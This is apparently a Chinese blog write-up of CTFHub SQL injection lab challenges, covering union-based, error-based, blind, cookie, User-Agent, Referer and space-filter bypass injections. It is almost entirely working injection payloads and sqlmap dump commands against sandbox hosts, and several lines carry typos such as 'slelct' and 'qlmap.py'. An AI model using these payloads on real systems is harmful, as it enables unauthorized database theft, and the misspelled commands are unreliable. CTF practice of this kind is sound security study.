CTF-mysql

整数型

输入1发现有回显

发现and1=1有回显1=2没有

判断字段数

1 order by 2

确定回显点

-1 union select 1,2

查看数据库名称

-1 union selecr 1,database()

查看数据库名

-1 union slelct group_concat(schema_name)from information_schema.schemata

查看表名

-1 union slelct group_concat(table_schema)from information_schema.tables where table_schema='sqli'

查看列名

-1 union slelct group_concat(column_schema)from information_schema.columns where table_schema='sqli'and table_name='flag'

查看字段内容

-1 union select 1,group_concat(flag)from flag

字符型

输入1试试

判断字符型(提示也给了)

判断字段数

1' order by 2

判断回显的

-1' union select 1,2

判断数据库

?id=-1' union select 1,database()--+

我们可以手工注入也可以sqlmap我这里选择sqlmap注入(问就是快)

查看数据库

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' --dbs

查看表名

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1'-D sqli --tables

查看字段名

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag --columns

查看数据

python3 qlmap.py -u http://challenge-876320d93f018778.sandbox.ctfhub.com:10800/?id=1' -D sqli -T flag -C flag --dump

报错注入

1'或者1 order by 1

显示错误信息决定使用报错注入

-1 union select updatexml(1, concat(0x7e, database(),0x7e),1)

查库名

?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)

查表名

?id=-1 union select updatexml(1, concat(0x7e,( select( group_concat( table_name))from information_schema.tables where table_schema=“sqli”),0x7e),1)

查字段名我当时用这个函数查不出来,后面换了一个函数

?id=1 and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),'~'))--

查字段

?id=1 and extractvalue(1,concat('~',(select concat(flag) from flag),'~'))--

布尔盲注

查库

手注太麻烦了

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  --current-db --bach
--current-db   当前数据库
--bach   			 自动确认

查表

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli --tables

查字段

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli -T --columns

查数据

python3 sqlmap.py -uhttp://challenge-5ab81d0d7419662a.sandbox.ctfhub.com:10800/?id=1  -D sqli -T flag -C flag --dump

时间盲注

查库

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 --current-db --batch

查表

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

查字段

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

查数据

python3 sqlmap.py -u http://challenge-a694ca90db1154b4.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

mysql结构

查库

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -dbs

查表

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables --batch

查字段

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi --columns --batch

查数据

python3 sqlmap.py -u http://challenge-12d6472e8cf2eede.sandbox.ctfhub.com:10800/?id=1 -D sqli -T bvhsavytfi -C izikznwmwr --dump --batch

Cookie注入

抓包试试

判断字段数

order by 2

判断回显点

union select 1,2

查看库

union select 1,database()

查表

id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';

查字段

id=-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xclduyowof';

查数据

 id=-1 union select 1,oqmyobxboo from xclduyowof;

UA注入

抓包试试

查字段数

order by 2

判断回显点

union select 1,2

查看库

union select 1,database()

查表


-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli';

查字段

-1 union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='xdagkcfgab';

查数据

-1 union select 1,piabyfircl from xdagkcfgab

Refer注入

查库

-1 union select 1,database()

查表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

查列

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ocwoheektd'

查数据

-1 union select 1,group_concat(fscpxlznjk) from ocwoheektd

过滤空格

输入空格显示

查看字段数

?id=1/**/order/**/by/**/2#

查库

?id=-1/**/union/**/select/**/1,database()#

查表

?id=-1/**/union/**/select/**/1,group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='sqli'#

查列

?id=-1/**/union/**/select/**/1,group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='erbwzbvtbj'#

查数据

?id=-1/**/union/**/select/**/1,txgmuvsfjk/**/from/**/erbwzbvtbj#

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值